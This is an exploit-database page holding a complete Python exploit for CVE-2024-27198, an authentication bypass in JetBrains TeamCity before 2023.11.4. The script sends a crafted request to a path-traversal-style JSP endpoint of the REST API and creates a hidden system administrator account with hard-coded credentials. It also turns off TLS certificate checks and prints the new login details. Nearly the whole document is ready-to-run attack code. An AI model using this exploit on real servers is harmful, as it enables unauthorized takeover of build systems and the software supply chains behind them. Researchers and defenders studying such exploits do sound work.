## https://sploitus.com/exploit?id=EDB-ID:52411
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""
import requests
import argparse
import sys
import json
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
banner = f"""{Colors.CYAN}
βββββββββββββββββ ββββββ ββββ ββββ ββββββββββββββββββββββ βββ
ββββββββββββββββββββββββββββββ βββββββββββββββββββββββββββββ ββββ
βββ ββββββ ββββββββββββββββββββββ βββ βββ βββββββ
βββ ββββββ ββββββββββββββββββββββ βββ βββ βββββ
βββ βββββββββββ ββββββ βββ ββββββββββββββ βββ βββ
βββ βββββββββββ ββββββ βββ ββββββββββ βββ βββ
{Colors.END}
{Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW} Author: ibrahimsql{Colors.END}
"""
parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()
class TeamCityExploit:
def __init__(self, target_url, timeout=15, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
def _log(self, message, level="info"):
if level == "success":
print(f"{Colors.GREEN}[+] {message}{Colors.END}")
elif level == "error":
print(f"{Colors.RED}[-] {message}{Colors.END}")
elif level == "warning":
print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
elif level == "info":
print(f"{Colors.BLUE}[*] {message}{Colors.END}")
elif level == "verbose" and self.verbose:
print(f"[DEBUG] {message}")
def check_target_reachability(self):
try:
self._log(f"Checking target: {self.target_url}")
response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
if response.status_code in [200, 302, 401, 403]:
self._log("Target is reachable", "success")
return True
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Connection timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def exploit_authentication_bypass(self):
exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
full_url = f"{self.target_url}{exploit_path}"
self._log(f"Targeting: {full_url}")
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*"
}
payload = {
"username": "ibrahimsql",
"password": "ibrahimsql",
"email": "ibrahimsql@exploit.local",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
self._log(f"Payload: {json.dumps(payload)}", "verbose")
try:
self._log("Attempting authentication bypass...")
response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
self._log(f"Status: {response.status_code}", "verbose")
self._log(f"Response: {response.text[:200]}", "verbose")
if response.status_code == 200:
self._log("Exploit successful!", "success")
print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
print(f"{Colors.CYAN}{'='*50}{Colors.END}")
return True
elif response.status_code == 401:
self._log("Authentication required - target may be patched", "error")
return False
elif response.status_code == 404:
self._log("Endpoint not found - target may be patched", "error")
return False
elif response.status_code == 403:
self._log("Access forbidden", "error")
return False
else:
self._log(f"Unexpected status: {response.status_code}", "error")
return False
except requests.exceptions.Timeout:
self._log("Request timeout", "error")
return False
except requests.exceptions.ConnectionError:
self._log("Connection error", "error")
return False
except Exception as e:
self._log(f"Error: {str(e)}", "error")
return False
def validate_url(url):
try:
parsed = urlparse(url)
if not parsed.scheme:
url = f"http://{url}"
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
raise ValueError("URL must use HTTP or HTTPS")
if not parsed.netloc:
raise ValueError("Invalid URL format")
return url
except Exception as e:
raise ValueError(f"Invalid URL: {str(e)}")
def main():
print(banner)
try:
target_url = validate_url(args.url)
print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
if not exploit.check_target_reachability():
exploit._log("Cannot reach target", "error")
sys.exit(1)
success = exploit.exploit_authentication_bypass()
if success:
exploit._log("Exploit completed!", "success")
sys.exit(0)
else:
exploit._log("Exploit failed", "error")
sys.exit(1)
except ValueError as e:
print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
sys.exit(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
sys.exit(1)
if __name__ == "__main__":
main()